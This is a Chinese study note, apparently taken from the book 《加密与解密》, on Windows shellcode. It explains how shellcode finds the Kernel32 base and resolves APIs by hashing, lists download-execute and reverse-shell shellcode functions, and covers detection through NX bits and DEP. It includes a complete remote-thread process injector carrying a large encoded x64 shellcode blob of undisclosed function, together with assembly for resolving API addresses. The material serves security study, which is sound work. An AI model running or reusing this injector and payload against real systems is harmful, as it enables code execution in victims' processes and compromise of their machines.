《加密与解密漏洞篇 14.2 Shellcode》

文章目录

前言

Shellcode的结构

基本模块

1.获取Kernel32基址

3.获得API地址

功能模块

1.下载执行(Download & Execute)

2.捆绑 (Binder)

3.反弹shell

Shellcode通用技术

Shellcode编写

Shellcode利用提取和调试

Shellcode注入

反Shellcode注入和反反Shellcode注入

反Shellcode注入

反Shellcode之什么是DEP保护

开启DEP保护

反反Shellcode注入-绕过DEP保护的方法

总结

前言

Shellcode实际上是一段可以独立执行的代码（也可以认为是一段填充数据），在触发了缓冲区溢出漏洞并获取了eip指针的控制权后，通常会将eip指针指向Shellcode以完成漏洞利用过程。

eip指针是指令指针的一种,指令指针IP/EIP/RIP的基本作用是指向要执行的下一条地址

Shellcode主要工作流程：

图片.png

Shellcode的结构

Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编代码。

特点:

它不依赖任何编译环境，也不能像在DE中直接编写代码那样调用API函数名称来实现功能。

它通过主动查找DLL基址并动态获取API地址的方式来实现API调用，然后根据实际功能调用相应的API函数来完成其自身的功能。

Shellcode分为两个模块，分别是基本模块和功能模块，结构如图14.10所示。

图片.png

基本模块

基本模块用于实现Shellcode初始运行、获取Kernel32基址及获取API地址的过程。

1.获取Kernel32基址

获取Kernel32基址的常见方法有：

暴力搜索、

异常处理链表搜索

TEB（Thread Environment Block）搜索。

这里只介绍目前最常用的动态获取Kernel32.dl基址的方法-TEB查找法。

其原理是：

在NT内核系统中，fs寄存器指向TEB结构，TEB+0x30偏移处指向PEB（Process Environment Block）结构，PEB+0x0c偏移处指向PEB_LDR_DATA结构，PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址，第1个指向Ntdll.dll，第2个就是Kernel.32.dll的基地址。

FS寄存器指向当前活动线程的TEB结构（线程结构）

偏移说明

000 指向SEH链指针

004 线程堆栈顶部

008 线程堆栈底部

00C SubSystemTib

010 FiberData

014 ArbitraryUserPointer

018 FS段寄存器在内存中的镜像地址

020 进程PID

024 线程ID

02C 指向线程局部存储指针

030 PEB结构地址（进程结构）

034 上个错误号

如图14.11所示。

图片.png

代码实现：

（使用了内联汇编，注意vs不支持x64的汇编）

//Windows XP SP3+VC6.0，编译选项：Debug（默认配置）
#include <stdio.h>
#include <stdio.h>
#include <Windows.h>
int main(int argc, char*argv[])
{
  DWORD hKernel32 = 0;
  _asm{
    mov eax,fs:[30h]
    mov eax,dword ptr[eax + 0ch]
    mov esi,dword ptr[eax + 1ch]
    lodsd 
    mov eax,dword ptr[eax + 8]
    mov hKernel32, eax
    ; 获取Kernel32基址
  }
  printf("hKernel32 0x%x\n", hKernel32);
  system("pause");
  return 0;
}

3.获得API地址

从DLL文件中获取API地址的方法如图14.12所示，步骤如下：

在DLL基址+3ch偏移处获取e lfanew的地址，即可得到PE文件头。

在PE文件头的78h偏移处得到函数导出表的地址。

在导出表的1ch偏移处获取AddressOfFunctions的地址，在导出表的20h偏移处获取AddressOfNames的地址，在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。

AddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。

图片.png

在实际应用中，如果API函数名称直接以明文出现，就会降低Shellcode的分析难度。

而且， API函数名称占用的空间一般都比较大，这会使Shellcode的体积跟着增大。要知道，在内存中用于存放Shellcode的空间可谓寸土寸金，所以，黑客们想了一个好办法，利用Hash算法将要获取的函数名称转换为一个4字节的Hash值，在搜索过程中按此算法计算DLL中的文件名称的Hash值，对比两个Hash值是否相同。这样就有效减小了Shellcode的体积，同时提高了Shellcode的隐蔽性。

获取API地址示例代码:

FindApi:
    push    ecx
    push    ebp
    mov     esi, dword ptr[ebx + 3Ch] // e_lfanew
    mov     esi, dword ptr[esi + ebx + 78h]// EATAddr
    add     esi, ebx
    push    esi
    mov     esi, dword ptr[esi + 20h]    //AddressOfNames
    add     esi, ebx
    xor     ecx, ecx
    dec     ecx
Find_Loop :
    inc     ecx
    lods    dword ptr[esi]
    add     eax, ebx
    xor     ebp, ebp
//计算hash值 
Hash_Loop :
  movsx   edx, byte ptr[eax]
    cmp     dl, dh
    je      hash_OK
    ror     ebp, 7
    add     ebp, edx
    inc     eax
    jmp     Hash_Loop
hash_OK :
    //判断hash值是否相等
    cmp     ebp, dword ptr[edi]
    jnz     Find_Loop
    pop     esi
    mov     ebp, dword ptr[esi + 24h] //Ordinal Table
    add     ebp, ebx
    mov     cx, word ptr[ebp + ecx * 2]
    mov     ebp, dword ptr[esi + 1Ch] //Address Table
    add     ebp, ebx
    mov     eax, dword ptr[ebp + ecx * 4]
    add     eax, ebx

另外，因为Shellcode需要实现的功能不同，所以调用的可能不仅仅是Kernel32中的API。

如何解决这个问题呢？

在得到Kernel32的基址之后，通过上面的方法获取Kernel32里的两个重要API的地址

（即LoadLibrary和GetProcessAddress）。通过它们的组合就可以获取任意DLL中的API地址了。

功能模块

功能模块就是实现漏洞利用目的的那部分Shellcode.。前面介绍的基础模块所做的工作，其目的就是在这里实现相应的功能。下面介绍Shellcode的几种常见功能:

1.下载执行(Download & Execute)

具有这个功能的Shellcode最常被浏览器类漏洞样本使用，其功能就是从指定的URL下载一个exe文件并运行，工作流程如图14.13所示。

图片.png

2.捆绑 (Binder)

具有这个功能的Shellcode最常见于Office等漏洞样本中，其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行，工作流程如图14.14所示。

图片.png

3.反弹shell

具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中，攻击者可以借助NC等工具，在实施攻击后获取一个远程She以执行任意命令，工作流程如图14.15所示。

图片.png

Shellcode通用技术

Shellcode编写

Shellcode利用提取和调试

Shellcode注入

将ShellCode注入进程内存

shellcode注入是一种进程注入技术，其主要过程如下：

利用OpenProcess()附加到被害进程

使用VirtualAllocEx()在被害进程中分配内存，这里一定要以可执行权限分配，不然会由于DEP保护，使得注入的代码无法执行

使用WriteProcessMemory()函数在分配的内存中写入shellcode

使用CreateRemoteThread()将程序执行流控制到shellcode的起始地址（执行shellcode）

#include <stdio.h>
#include <windows.h>
unsigned char ShellCode[] =
"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x32\x6d\xbe\x4b\xe6\xfe"
"\xa5\x6f\xce\x25\x7c\xfe\x57\x46\x3b\x3e\x98\x6d\x0c\x7d\x73"
"\x5e\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd"
"\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58\xaf\x62\x19\x5c"
"\xd3\x14\x3a\x49\x2e\x0f\xec\x30\xee\x17\xd7\x8b\x82\x9c\x64"
"\x6c\xe7\x9d\x44\x49\xe4\x8c\x19\x75\xae\xc6\x70\xe8\x17\xd6"
"\x2e\x3f\xa0\x93\x64\x69\x6f\xce\xae\xbd\x27\x16\x16\x69\x27"
"\x4b\xe5\x49\xc8\x5e\x17\xb9\x3f\x45\x6d\x25\xeb\x9d\x56\x49"
"\x26\xcf\xf5\xde\xf9\x5e\xe9\xa0\x2e\x45\x11\xb5\xe7\x17\xc0"
"\x24\x5e\x07\x6d\x0c\x6f\xba\x57\xa8\xa6\xc3\x64\x3c\x6e\x2e"
"\xf6\x1c\x9e\x82\x26\x71\x8b\x1e\x53\x50\xbe\xbb\xfd\x65\xeb"
"\x9d\x56\x4d\x26\xcf\xf5\x5b\xee\x9d\x1a\x21\x2b\x45\x65\x21"
"\xe6\x17\xc6\x28\xe4\xca\xad\x75\xae\xc6\x57\x31\x2e\x96\x7b"
"\x64\xf5\x57\x4e\x28\x36\x8f\x7f\x75\x2c\xfa\x36\x28\x3d\x31"
"\xc5\x65\xee\x4f\x4c\x21\xe4\xdc\xcc\x76\x50\xe9\xe9\x34\x26"
"\x70\x52\x4e\x9d\x49\x25\x5b\x6f\xce\x64\x6b\xe6\x9f\xf0\x21"
"\xee\x22\x85\x3c\xaf\x16\x5f\xe0\x8a\x87\x99\x3f\xaf\x31\x19"
"\xa9\xc7\xcf\x3b\x7c\xfb\x5f\x9f\x8d\x23\x47\xd4\x7c\x15\x5a"
"\x61\x4f\x68\x31\xf0\x71\x26\xfc\x7e\x68\x6e\xce\x25\x64\xee"
"\xac\x3f\xe9\x04\xce\xda\xe8\xc5\x1c\x57\x37\x3f\x9e\x68\x0c"
"\x66\x5b\x27\xa9\x27\x31\xe5\x75\x26\xd4\x5e\x96\xaf\x86\xac"
"\xfc\xee\xac\xfc\x66\xb0\x2e\xda\xe8\xe7\x9f\xd1\x03\x7f\x8f"
"\x7d\x71\x26\xf4\x5e\xe0\x96\x8f\x9f\xa4\x0a\x62\x77\x96\xba"
"\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21"
"\xec\x22\x35\x75\x26\xf4\x5b\x58\xa6\xa4\x21\x7c\xf7\x5e\x9f"
"\x90\x2e\x74\x27\xe4\x67\x49\xe9\xbc\xec\x36\x25\x43\xfa\x5e"
"\x95\xad\x4f\x90\xac\xcb\xc5\x56\x57\x30\x07\xce\x35\x3d\xaf"
"\x57\x4e\x21\xe6\x3c\x6d\x0c\x66\x57\xac\x31\xcb\x9d\xc0\xc2"
"\x7a\x5e\x9f\xaa\x26\x47\xe2\x70\x9e\xdf\x5f\xe0\x9f\x86\xac"
"\xe7\xe7\x9f\xef\x28\xd5\xcc\xfc\xf5\xf0\xe9\xc3\xea\x97\xce"
"\x58\x15\xf7\x57\x41\x30\x07\xce\x65\x3d\xaf\x57\x4e\x03\x6f"
"\x94\x64\x87\xa4\x39\x19\x59\x90\x1b\x72\x64\xee\xac\x63\x07"
"\x22\xaf\xda\xe8\xe6\xe9\xd8\x80\x53\x31\xda\xc2\xe7\x17\xd5"
"\x21\x46\x08\x6d\xb8\x59\x63\xa2\x28\x90\x29\x7d\x57\xaf\x4f"
"\x5f\xae\xad\x3e\x90\x9f\xf9\xe9\xc3\x69\x6f";
int main()
{
  HANDLE Handle;
  HANDLE remoteThread;
  PVOID remoteBuffer;
  DWORD Pid;
  printf("输入待注入进程PID号：");
  scanf("%d", &Pid);
  Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,Pid);
  remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
  remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  CloseHandle(Handle);
  return 0;
}

反Shellcode注入和反反Shellcode注入

反Shellcode注入

[原创]从内存取证角度检测shellcode

shellcode成功注入并执行后，受害进程中会存在具有可执行权限保护的页面，那么页面对应的pte的NX位应置为0。而正常进程中几乎不可能利用分配的内存去执行恶意代码，也就是说一般情况下分配的内存不会出现可执行权限，利用这一特点，能够检测进程地址空间是否有shellcode。

检测思路如下：

首先将进程的用户地址空间区分为映射文件区和非映射文件区，映射文件区主要包括进程的加载可执行文件和模块，如exe文件、dll文件、nls文件等；非映射文件区主要包括内存中的堆栈等缓冲区，这些内存区几乎不会分配可执行权限的页面。这样做的目的是由于内存中的映射文件本身具有可执行的页面，需要将这些排除在外，防止产生误报。

获取全部非映射文件区的页面的pte

检查这些pte的NX位,若存在NX为0的页面，说明这个页面可能是被注入的页面

输出被注入的页面地址及其内容

反Shellcode之什么是DEP保护

DEP将非代码段的页表属性设置成“不可执行”，一旦系统从这些地址空间进行取指令操作， CPU就会报告“内存违规”异常，进而“杀死”进程。栈空间也被操作系统设置了“不可执行”属性，因此，注入栈中的Shellcode就无法执行了。

开启DEP保护

控制面板－＞系统和安全－＞系统－＞高级系统设置->高级->性能->数据执行保护

图片.png

反反Shellcode注入-绕过DEP保护的方法

ROP技术

[笔记]Windows安全之《三》Shellcode

文章目录

前言

Shellcode的结构

基本模块

1.获取Kernel32基址

3.获得API地址

功能模块

1.下载执行(Download & Execute)

2.捆绑 (Binder)

3.反弹shell

Shellcode通用技术

Shellcode编写

Shellcode利用提取和调试

Shellcode注入

反Shellcode注入和反反Shellcode注入

反Shellcode注入

反Shellcode之什么是DEP保护

开启DEP保护

反反Shellcode注入-绕过DEP保护的方法

总结

热门文章

最新文章

相关电子书

相关实验场景